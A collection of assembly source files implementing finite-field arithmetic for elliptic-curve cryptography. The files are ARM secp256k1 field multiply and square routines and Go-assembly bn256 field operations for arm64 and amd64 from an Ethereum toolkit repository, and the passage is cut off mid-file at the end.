* R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t3 = c & M str r14, [sp, #4 + 3*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u3 * R1 umlal r3, r4, r0, r14 /* F */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u4 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u4 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t4 = c & M str r14, [sp, #4 + 4*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u4 * R1 umlal r3, r4, r0, r14 /* G - interleaved with H */ ldr r7, [r1, #0*4] @ a[0] ldr r8, [r2, #6*4] @ b[6] ldr r14, [r2, #5*4] @ b[5] umull r11, r12, r7, r8 @ c' = a[0] * b[6] ldr r0, [r1, #1*4] @ a[1] umlal r3, r4, r7, r14 @ c += a[0] * b[5] ldr r8, [r2, #4*4] @ b[4] umlal r11, r12, r0, r14 @ c' += a[1] * b[5] ldr r7, [r1, #2*4] @ a[2] umlal r3, r4, r0, r8 @ c += a[1] * b[4] ldr r14, [r2, #3*4] @ b[3] umlal r11, r12, r7, r8 @ c' += a[2] * b[4] ldr r0, [r1, #3*4] @ a[3] umlal r3, r4, r7, r14 @ c += a[2] * b[3] ldr r8, [r2, #2*4] @ b[2] umlal r11, r12, r0, r14 @ c' += a[3] * b[3] ldr r7, [r1, #4*4] @ a[4] umlal r3, r4, r0, r8 @ c += a[3] * b[2] ldr r14, [r2, #1*4] @ b[1] umlal r11, r12, r7, r8 @ c' += a[4] * b[2] ldr r0, [r1, #5*4] @ a[5] umlal r3, r4, r7, r14 @ c += a[4] * b[1] ldr r8, [r2, #0*4] @ b[0] umlal r11, r12, r0, r14 @ c' += a[5] * b[1] ldr r7, [r1, #6*4] @ a[6] umlal r3, r4, r0, r8 @ c += a[5] * b[0] ldr r14, [r2, #9*4] @ b[9] umlal r11, r12, r7, r8 @ c' += a[6] * b[0] ldr r0, [r1, #7*4] @ a[7] umlal r5, r6, r7, r14 @ d += a[6] * b[9] ldr r8, [r2, #8*4] @ b[8] umull r9, r10, r0, r14 @ d' = a[7] * b[9] ldr r7, [r1, #8*4] @ a[8] umlal r5, r6, r0, r8 @ d += a[7] * b[8] ldr r14, [r2, #7*4] @ b[7] umlal r9, r10, r7, r8 @ d' += a[8] * b[8] ldr r0, [r1, #9*4] @ a[9] umlal r5, r6, r7, r14 @ d += a[8] * b[7] ldr r8, [r2, #6*4] @ b[6] umlal r9, r10, r0, r14 @ d' += a[9] * b[7] umlal r5, r6, r0, r8 @ d += a[9] * b[6] bic r0, r5, field_not_M @ u5 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u5 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t5 = c & M str r14, [sp, #4 + 5*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u5 * R1 umlal r3, r4, r0, r14 /* H */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u6 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u6 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t6 = c & M str r14, [sp, #4 + 6*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u6 * R1 umlal r3, r4, r0, r14 /* I - interleaved with J */ ldr r8, [r2, #8*4] @ b[8] ldr r7, [r1, #0*4] @ a[0] ldr r14, [r2, #7*4] @ b[7] umull r11, r12, r7, r8 @ c' = a[0] * b[8] ldr r0, [r1, #1*4] @ a[1] umlal r3, r4, r7, r14 @ c += a[0] * b[7] ldr r8, [r2, #6*4] @ b[6] umlal r11, r12, r0, r14 @ c' += a[1] * b[7] ldr r7, [r1, #2*4] @ a[2] umlal r3, r4, r0, r8 @ c += a[1] * b[6] ldr r14, [r2, #5*4] @ b[5] umlal r11, r12, r7, r8 @ c' += a[2] * b[6] ldr r0, [r1, #3*4] @ a[3] umlal r3, r4, r7, r14 @ c += a[2] * b[5] ldr r8, [r2, #4*4] @ b[4] umlal r11, r12, r0, r14 @ c' += a[3] * b[5] ldr r7, [r1, #4*4] @ a[4] umlal r3, r4, r0, r8 @ c += a[3] * b[4] ldr r14, [r2, #3*4] @ b[3] umlal r11, r12, r7, r8 @ c' += a[4] * b[4] ldr r0, [r1, #5*4] @ a[5] umlal r3, r4, r7, r14 @ c += a[4] * b[3] ldr r8, [r2, #2*4] @ b[2] umlal r11, r12, r0, r14 @ c' += a[5] * b[3] ldr r7, [r1, #6*4] @ a[6] umlal r3, r4, r0, r8 @ c += a[5] * b[2] ldr r14, [r2, #1*4] @ b[1] umlal r11, r12, r7, r8 @ c' += a[6] * b[2] ldr r0, [r1, #7*4] @ a[7] umlal r3, r4, r7, r14 @ c += a[6] * b[1] ldr r8, [r2, #0*4] @ b[0] umlal r11, r12, r0, r14 @ c' += a[7] * b[1] ldr r7, [r1, #8*4] @ a[8] umlal r3, r4, r0, r8 @ c += a[7] * b[0] ldr r14, [r2, #9*4] @ b[9] umlal r11, r12, r7, r8 @ c' += a[8] * b[0] ldr r0, [r1, #9*4] @ a[9] umlal r5, r6, r7, r14 @ d += a[8] * b[9] ldr r8, [r2, #8*4] @ b[8] umull r9, r10, r0, r14 @ d' = a[9] * b[9] umlal r5, r6, r0, r8 @ d += a[9] * b[8] bic r0, r5, field_not_M @ u7 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u7 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t7 = c & M str r14, [sp, #4 + 7*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u7 * R1 umlal r3, r4, r0, r14 /* J */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u8 = d & M str r0, [sp, #4 + 8*4] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u8 * R0 umlal r3, r4, r0, r14 /****************************************** * compute and write back result ****************************************** Allocation: r0 r r3:r4 c r5:r6 d r7 t0 r8 t1 r9 t2 r11 u8 r12 t9 r1,r2,r10,r14 scratch Note: do not read from a[] after here, it may overlap with r[] */ ldr r0, [sp, #0] add r1, sp, #4 + 3*4 @ r[3..7] = t3..7, r11=u8, r12=t9 ldmia r1, {r2,r7,r8,r9,r10,r11,r12} add r1, r0, #3*4 stmia r1, {r2,r7,r8,r9,r10} bic r2, r3, field_not_M @ r[8] = c & M str r2, [r0, #8*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u8 * R1 umlal r3, r4, r11, r14 movw r14, field_R0 @ c += d * R0 umlal r3, r4, r5, r14 adds r3, r3, r12 @ c += t9 adc r4, r4, #0 add r1, sp, #4 + 0*4 @ r7,r8,r9 = t0,t1,t2 ldmia r1, {r7,r8,r9} ubfx r2, r3, #0, #22 @ r[9] = c & (M >> 4) str r2, [r0, #9*4] mov r3, r3, lsr #22 @ c >>= 22 orr r3, r3, r4, asl #10 mov r4, r4, lsr #22 movw r14, field_R1 << 4 @ c += d * (R1 << 4) umlal r3, r4, r5, r14 movw r14, field_R0 >> 4 @ d = c * (R0 >> 4) + t0 (64x64 multiply+add) umull r5, r6, r3, r14 @ d = c.lo * (R0 >> 4) adds r5, r5, r7 @ d.lo += t0 mla r6, r14, r4, r6 @ d.hi += c.hi * (R0 >> 4) adc r6, r6, 0 @ d.hi += carry bic r2, r5, field_not_M @ r[0] = d & M str r2, [r0, #0*4] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R1 >> 4 @ d += c * (R1 >> 4) + t1 (64x64 multiply+add) umull r1, r2, r3, r14 @ tmp = c.lo * (R1 >> 4) adds r5, r5, r8 @ d.lo += t1 adc r6, r6, #0 @ d.hi += carry adds r5, r5, r1 @ d.lo += tmp.lo mla r2, r14, r4, r2 @ tmp.hi += c.hi * (R1 >> 4) adc r6, r6, r2 @ d.hi += carry + tmp.hi bic r2, r5, field_not_M @ r[1] = d & M str r2, [r0, #1*4] mov r5, r5, lsr #26 @ d >>= 26 (ignore hi) orr r5, r5, r6, asl #6 add r5, r5, r9 @ d += t2 str r5, [r0, #2*4] @ r[2] = d add sp, sp, #48 ldmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, pc} .size secp256k1_fe_mul_inner, .-secp256k1_fe_mul_inner .align 2 .global secp256k1_fe_sqr_inner .type secp256k1_fe_sqr_inner, %function .hidden secp256k1_fe_sqr_inner @ Arguments: @ r0 r Can overlap with a @ r1 a @ Stack (total 4+10*4 = 44) @ sp + #0 saved 'r' pointer @ sp + #4 + 4*X t0,t1,t2,t3,t4,t5,t6,t7,u8,t9 secp256k1_fe_sqr_inner: stmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, r14} sub sp, sp, #48 @ frame=44 + alignment str r0, [sp, #0] @ save result address, we need it only at the end /****************************************** * Main computation code. ****************************************** Allocation: r0,r14,r2,r7,r8 scratch r1 a (pointer) r3:r4 c r5:r6 d r11:r12 c' r9:r10 d' Note: do not write to r[] here, it may overlap with a[] */ /* A interleaved with B */ ldr r0, [r1, #1*4] @ a[1]*2 ldr r7, [r1, #0*4] @ a[0] mov r0, r0, asl #1 ldr r14, [r1, #9*4] @ a[9] umull r3, r4, r7, r7 @ c = a[0] * a[0] ldr r8, [r1, #8*4] @ a[8] mov r7, r7, asl #1 umull r5, r6, r7, r14 @ d = a[0]*2 * a[9] ldr r7, [r1, #2*4] @ a[2]*2 umull r9, r10, r0, r14 @ d' = a[1]*2 * a[9] ldr r14, [r1, #7*4] @ a[7] umlal r5, r6, r0, r8 @ d += a[1]*2 * a[8] mov r7, r7, asl #1 ldr r0, [r1, #3*4] @ a[3]*2 umlal r9, r10, r7, r8 @ d' += a[2]*2 * a[8] ldr r8, [r1, #6*4] @ a[6] umlal r5, r6, r7, r14 @ d += a[2]*2 * a[7] mov r0, r0, asl #1 ldr r7, [r1, #4*4] @ a[4]*2 umlal r9, r10, r0, r14 @ d' += a[3]*2 * a[7] ldr r14, [r1, #5*4] @ a[5] mov r7, r7, asl #1 umlal r5, r6, r0, r8 @ d += a[3]*2 * a[6] umlal r9, r10, r7, r8 @ d' += a[4]*2 * a[6] umlal r5, r6, r7, r14 @ d += a[4]*2 * a[5] umlal r9, r10, r14, r14 @ d' += a[5] * a[5] bic r0, r5, field_not_M @ t9 = d & M str r0, [sp, #4 + 9*4] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 /* B */ adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u0 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u0 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t0 = c & M str r14, [sp, #4 + 0*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u0 * R1 umlal r3, r4, r0, r14 /* C interleaved with D */ ldr r0, [r1, #0*4] @ a[0]*2 ldr r14, [r1, #1*4] @ a[1] mov r0, r0, asl #1 ldr r8, [r1, #2*4] @ a[2] umlal r3, r4, r0, r14 @ c += a[0]*2 * a[1] mov r7, r8, asl #1 @ a[2]*2 umull r11, r12, r14, r14 @ c' = a[1] * a[1] ldr r14, [r1, #9*4] @ a[9] umlal r11, r12, r0, r8 @ c' += a[0]*2 * a[2] ldr r0, [r1, #3*4] @ a[3]*2 ldr r8, [r1, #8*4] @ a[8] umlal r5, r6, r7, r14 @ d += a[2]*2 * a[9] mov r0, r0, asl #1 ldr r7, [r1, #4*4] @ a[4]*2 umull r9, r10, r0, r14 @ d' = a[3]*2 * a[9] ldr r14, [r1, #7*4] @ a[7] umlal r5, r6, r0, r8 @ d += a[3]*2 * a[8] mov r7, r7, asl #1 ldr r0, [r1, #5*4] @ a[5]*2 umlal r9, r10, r7, r8 @ d' += a[4]*2 * a[8] ldr r8, [r1, #6*4] @ a[6] mov r0, r0, asl #1 umlal r5, r6, r7, r14 @ d += a[4]*2 * a[7] umlal r9, r10, r0, r14 @ d' += a[5]*2 * a[7] umlal r5, r6, r0, r8 @ d += a[5]*2 * a[6] umlal r9, r10, r8, r8 @ d' += a[6] * a[6] bic r0, r5, field_not_M @ u1 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u1 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t1 = c & M str r14, [sp, #4 + 1*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u1 * R1 umlal r3, r4, r0, r14 /* D */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u2 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u2 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t2 = c & M str r14, [sp, #4 + 2*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u2 * R1 umlal r3, r4, r0, r14 /* E interleaved with F */ ldr r7, [r1, #0*4] @ a[0]*2 ldr r0, [r1, #1*4] @ a[1]*2 ldr r14, [r1, #2*4] @ a[2] mov r7, r7, asl #1 ldr r8, [r1, #3*4] @ a[3] ldr r2, [r1, #4*4] umlal r3, r4, r7, r8 @ c += a[0]*2 * a[3] mov r0, r0, asl #1 umull r11, r12, r7, r2 @ c' = a[0]*2 * a[4] mov r2, r2, asl #1 @ a[4]*2 umlal r11, r12, r0, r8 @ c' += a[1]*2 * a[3] ldr r8, [r1, #9*4] @ a[9] umlal r3, r4, r0, r14 @ c += a[1]*2 * a[2] ldr r0, [r1, #5*4] @ a[5]*2 umlal r11, r12, r14, r14 @ c' += a[2] * a[2] ldr r14, [r1, #8*4] @ a[8] mov r0, r0, asl #1 umlal r5, r6, r2, r8 @ d += a[4]*2 * a[9] ldr r7, [r1, #6*4] @ a[6]*2 umull r9, r10, r0, r8 @ d' = a[5]*2 * a[9] mov r7, r7, asl #1 ldr r8, [r1, #7*4] @ a[7] umlal r5, r6, r0, r14 @ d += a[5]*2 * a[8] umlal r9, r10, r7, r14 @ d' += a[6]*2 * a[8] umlal r5, r6, r7, r8 @ d += a[6]*2 * a[7] umlal r9, r10, r8, r8 @ d' += a[7] * a[7] bic r0, r5, field_not_M @ u3 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u3 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t3 = c & M str r14, [sp, #4 + 3*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u3 * R1 umlal r3, r4, r0, r14 /* F */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u4 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u4 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t4 = c & M str r14, [sp, #4 + 4*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u4 * R1 umlal r3, r4, r0, r14 /* G interleaved with H */ ldr r7, [r1, #0*4] @ a[0]*2 ldr r0, [r1, #1*4] @ a[1]*2 mov r7, r7, asl #1 ldr r8, [r1, #5*4] @ a[5] ldr r2, [r1, #6*4] @ a[6] umlal r3, r4, r7, r8 @ c += a[0]*2 * a[5] ldr r14, [r1, #4*4] @ a[4] mov r0, r0, asl #1 umull r11, r12, r7, r2 @ c' = a[0]*2 * a[6] ldr r7, [r1, #2*4] @ a[2]*2 umlal r11, r12, r0, r8 @ c' += a[1]*2 * a[5] mov r7, r7, asl #1 ldr r8, [r1, #3*4] @ a[3] umlal r3, r4, r0, r14 @ c += a[1]*2 * a[4] mov r0, r2, asl #1 @ a[6]*2 umlal r11, r12, r7, r14 @ c' += a[2]*2 * a[4] ldr r14, [r1, #9*4] @ a[9] umlal r3, r4, r7, r8 @ c += a[2]*2 * a[3] ldr r7, [r1, #7*4] @ a[7]*2 umlal r11, r12, r8, r8 @ c' += a[3] * a[3] mov r7, r7, asl #1 ldr r8, [r1, #8*4] @ a[8] umlal r5, r6, r0, r14 @ d += a[6]*2 * a[9] umull r9, r10, r7, r14 @ d' = a[7]*2 * a[9] umlal r5, r6, r7, r8 @ d += a[7]*2 * a[8] umlal r9, r10, r8, r8 @ d' += a[8] * a[8] bic r0, r5, field_not_M @ u5 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u5 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t5 = c & M str r14, [sp, #4 + 5*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u5 * R1 umlal r3, r4, r0, r14 /* H */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u6 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u6 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t6 = c & M str r14, [sp, #4 + 6*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u6 * R1 umlal r3, r4, r0, r14 /* I interleaved with J */ ldr r7, [r1, #0*4] @ a[0]*2 ldr r0, [r1, #1*4] @ a[1]*2 mov r7, r7, asl #1 ldr r8, [r1, #7*4] @ a[7] ldr r2, [r1, #8*4] @ a[8] umlal r3, r4, r7, r8 @ c += a[0]*2 * a[7] ldr r14, [r1, #6*4] @ a[6] mov r0, r0, asl #1 umull r11, r12, r7, r2 @ c' = a[0]*2 * a[8] ldr r7, [r1, #2*4] @ a[2]*2 umlal r11, r12, r0, r8 @ c' += a[1]*2 * a[7] ldr r8, [r1, #5*4] @ a[5] umlal r3, r4, r0, r14 @ c += a[1]*2 * a[6] ldr r0, [r1, #3*4] @ a[3]*2 mov r7, r7, asl #1 umlal r11, r12, r7, r14 @ c' += a[2]*2 * a[6] ldr r14, [r1, #4*4] @ a[4] mov r0, r0, asl #1 umlal r3, r4, r7, r8 @ c += a[2]*2 * a[5] mov r2, r2, asl #1 @ a[8]*2 umlal r11, r12, r0, r8 @ c' += a[3]*2 * a[5] umlal r3, r4, r0, r14 @ c += a[3]*2 * a[4] umlal r11, r12, r14, r14 @ c' += a[4] * a[4] ldr r8, [r1, #9*4] @ a[9] umlal r5, r6, r2, r8 @ d += a[8]*2 * a[9] @ r8 will be used in J bic r0, r5, field_not_M @ u7 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u7 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t7 = c & M str r14, [sp, #4 + 7*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u7 * R1 umlal r3, r4, r0, r14 /* J */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 umlal r5, r6, r8, r8 @ d += a[9] * a[9] bic r0, r5, field_not_M @ u8 = d & M str r0, [sp, #4 + 8*4] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u8 * R0 umlal r3, r4, r0, r14 /****************************************** * compute and write back result ****************************************** Allocation: r0 r r3:r4 c r5:r6 d r7 t0 r8 t1 r9 t2 r11 u8 r12 t9 r1,r2,r10,r14 scratch Note: do not read from a[] after here, it may overlap with r[] */ ldr r0, [sp, #0] add r1, sp, #4 + 3*4 @ r[3..7] = t3..7, r11=u8, r12=t9 ldmia r1, {r2,r7,r8,r9,r10,r11,r12} add r1, r0, #3*4 stmia r1, {r2,r7,r8,r9,r10} bic r2, r3, field_not_M @ r[8] = c & M str r2, [r0, #8*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u8 * R1 umlal r3, r4, r11, r14 movw r14, field_R0 @ c += d * R0 umlal r3, r4, r5, r14 adds r3, r3, r12 @ c += t9 adc r4, r4, #0 add r1, sp, #4 + 0*4 @ r7,r8,r9 = t0,t1,t2 ldmia r1, {r7,r8,r9} ubfx r2, r3, #0, #22 @ r[9] = c & (M >> 4) str r2, [r0, #9*4] mov r3, r3, lsr #22 @ c >>= 22 orr r3, r3, r4, asl #10 mov r4, r4, lsr #22 movw r14, field_R1 << 4 @ c += d * (R1 << 4) umlal r3, r4, r5, r14 movw r14, field_R0 >> 4 @ d = c * (R0 >> 4) + t0 (64x64 multiply+add) umull r5, r6, r3, r14 @ d = c.lo * (R0 >> 4) adds r5, r5, r7 @ d.lo += t0 mla r6, r14, r4, r6 @ d.hi += c.hi * (R0 >> 4) adc r6, r6, 0 @ d.hi += carry bic r2, r5, field_not_M @ r[0] = d & M str r2, [r0, #0*4] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R1 >> 4 @ d += c * (R1 >> 4) + t1 (64x64 multiply+add) umull r1, r2, r3, r14 @ tmp = c.lo * (R1 >> 4) adds r5, r5, r8 @ d.lo += t1 adc r6, r6, #0 @ d.hi += carry adds r5, r5, r1 @ d.lo += tmp.lo mla r2, r14, r4, r2 @ tmp.hi += c.hi * (R1 >> 4) adc r6, r6, r2 @ d.hi += carry + tmp.hi bic r2, r5, field_not_M @ r[1] = d & M str r2, [r0, #1*4] mov r5, r5, lsr #26 @ d >>= 26 (ignore hi) orr r5, r5, r6, asl #6 add r5, r5, r9 @ d += t2 str r5, [r0, #2*4] @ r[2] = d add sp, sp, #48 ldmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, pc} .size secp256k1_fe_sqr_inner, .-secp256k1_fe_sqr_inner .section .note.GNU-stack,"",%progbits

0xsequence/ethkit

1,870

go-ethereum/crypto/bn256/cloudflare/gfp_arm64.s

// +build arm64,!generic #define storeBlock(a0,a1,a2,a3, r) \ MOVD a0, 0+r \ MOVD a1, 8+r \ MOVD a2, 16+r \ MOVD a3, 24+r #define loadBlock(r, a0,a1,a2,a3) \ MOVD 0+r, a0 \ MOVD 8+r, a1 \ MOVD 16+r, a2 \ MOVD 24+r, a3 #define loadModulus(p0,p1,p2,p3) \ MOVD ·p2+0(SB), p0 \ MOVD ·p2+8(SB), p1 \ MOVD ·p2+16(SB), p2 \ MOVD ·p2+24(SB), p3 #include "mul_arm64.h" TEXT ·gfpNeg(SB),0,$0-16 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) loadModulus(R5,R6,R7,R8) SUBS R1, R5, R1 SBCS R2, R6, R2 SBCS R3, R7, R3 SBCS R4, R8, R4 SUBS R5, R1, R5 SBCS R6, R2, R6 SBCS R7, R3, R7 SBCS R8, R4, R8 CSEL CS, R5, R1, R1 CSEL CS, R6, R2, R2 CSEL CS, R7, R3, R3 CSEL CS, R8, R4, R4 MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET TEXT ·gfpAdd(SB),0,$0-24 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) MOVD b+16(FP), R0 loadBlock(0(R0), R5,R6,R7,R8) loadModulus(R9,R10,R11,R12) MOVD ZR, R0 ADDS R5, R1 ADCS R6, R2 ADCS R7, R3 ADCS R8, R4 ADCS ZR, R0 SUBS R9, R1, R5 SBCS R10, R2, R6 SBCS R11, R3, R7 SBCS R12, R4, R8 SBCS ZR, R0, R0 CSEL CS, R5, R1, R1 CSEL CS, R6, R2, R2 CSEL CS, R7, R3, R3 CSEL CS, R8, R4, R4 MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET TEXT ·gfpSub(SB),0,$0-24 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) MOVD b+16(FP), R0 loadBlock(0(R0), R5,R6,R7,R8) loadModulus(R9,R10,R11,R12) SUBS R5, R1 SBCS R6, R2 SBCS R7, R3 SBCS R8, R4 CSEL CS, ZR, R9, R9 CSEL CS, ZR, R10, R10 CSEL CS, ZR, R11, R11 CSEL CS, ZR, R12, R12 ADDS R9, R1 ADCS R10, R2 ADCS R11, R3 ADCS R12, R4 MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET TEXT ·gfpMul(SB),0,$0-24 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) MOVD b+16(FP), R0 loadBlock(0(R0), R5,R6,R7,R8) mul(R9,R10,R11,R12,R13,R14,R15,R16) gfpReduce() MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET

0xsequence/ethkit

2,193

go-ethereum/crypto/bn256/cloudflare/gfp_amd64.s

// +build amd64,!generic #define storeBlock(a0,a1,a2,a3, r) \ MOVQ a0, 0+r \ MOVQ a1, 8+r \ MOVQ a2, 16+r \ MOVQ a3, 24+r #define loadBlock(r, a0,a1,a2,a3) \ MOVQ 0+r, a0 \ MOVQ 8+r, a1 \ MOVQ 16+r, a2 \ MOVQ 24+r, a3 #define gfpCarry(a0,a1,a2,a3,a4, b0,b1,b2,b3,b4) \ \ // b = a-p MOVQ a0, b0 \ MOVQ a1, b1 \ MOVQ a2, b2 \ MOVQ a3, b3 \ MOVQ a4, b4 \ \ SUBQ ·p2+0(SB), b0 \ SBBQ ·p2+8(SB), b1 \ SBBQ ·p2+16(SB), b2 \ SBBQ ·p2+24(SB), b3 \ SBBQ $0, b4 \ \ \ // if b is negative then return a \ // else return b CMOVQCC b0, a0 \ CMOVQCC b1, a1 \ CMOVQCC b2, a2 \ CMOVQCC b3, a3 #include "mul_amd64.h" #include "mul_bmi2_amd64.h" TEXT ·gfpNeg(SB),0,$0-16 MOVQ ·p2+0(SB), R8 MOVQ ·p2+8(SB), R9 MOVQ ·p2+16(SB), R10 MOVQ ·p2+24(SB), R11 MOVQ a+8(FP), DI SUBQ 0(DI), R8 SBBQ 8(DI), R9 SBBQ 16(DI), R10 SBBQ 24(DI), R11 MOVQ $0, AX gfpCarry(R8,R9,R10,R11,AX, R12,R13,R14,CX,BX) MOVQ c+0(FP), DI storeBlock(R8,R9,R10,R11, 0(DI)) RET TEXT ·gfpAdd(SB),0,$0-24 MOVQ a+8(FP), DI MOVQ b+16(FP), SI loadBlock(0(DI), R8,R9,R10,R11) MOVQ $0, R12 ADDQ 0(SI), R8 ADCQ 8(SI), R9 ADCQ 16(SI), R10 ADCQ 24(SI), R11 ADCQ $0, R12 gfpCarry(R8,R9,R10,R11,R12, R13,R14,CX,AX,BX) MOVQ c+0(FP), DI storeBlock(R8,R9,R10,R11, 0(DI)) RET TEXT ·gfpSub(SB),0,$0-24 MOVQ a+8(FP), DI MOVQ b+16(FP), SI loadBlock(0(DI), R8,R9,R10,R11) MOVQ ·p2+0(SB), R12 MOVQ ·p2+8(SB), R13 MOVQ ·p2+16(SB), R14 MOVQ ·p2+24(SB), CX MOVQ $0, AX SUBQ 0(SI), R8 SBBQ 8(SI), R9 SBBQ 16(SI), R10 SBBQ 24(SI), R11 CMOVQCC AX, R12 CMOVQCC AX, R13 CMOVQCC AX, R14 CMOVQCC AX, CX ADDQ R12, R8 ADCQ R13, R9 ADCQ R14, R10 ADCQ CX, R11 MOVQ c+0(FP), DI storeBlock(R8,R9,R10,R11, 0(DI)) RET TEXT ·gfpMul(SB),0,$160-24 MOVQ a+8(FP), DI MOVQ b+16(FP), SI // Jump to a slightly different implementation if MULX isn't supported. CMPB ·hasBMI2(SB), $0 JE nobmi2Mul mulBMI2(0(DI),8(DI),16(DI),24(DI), 0(SI)) storeBlock( R8, R9,R10,R11, 0(SP)) storeBlock(R12,R13,R14,CX, 32(SP)) gfpReduceBMI2() JMP end nobmi2Mul: mul(0(DI),8(DI),16(DI),24(DI), 0(SI), 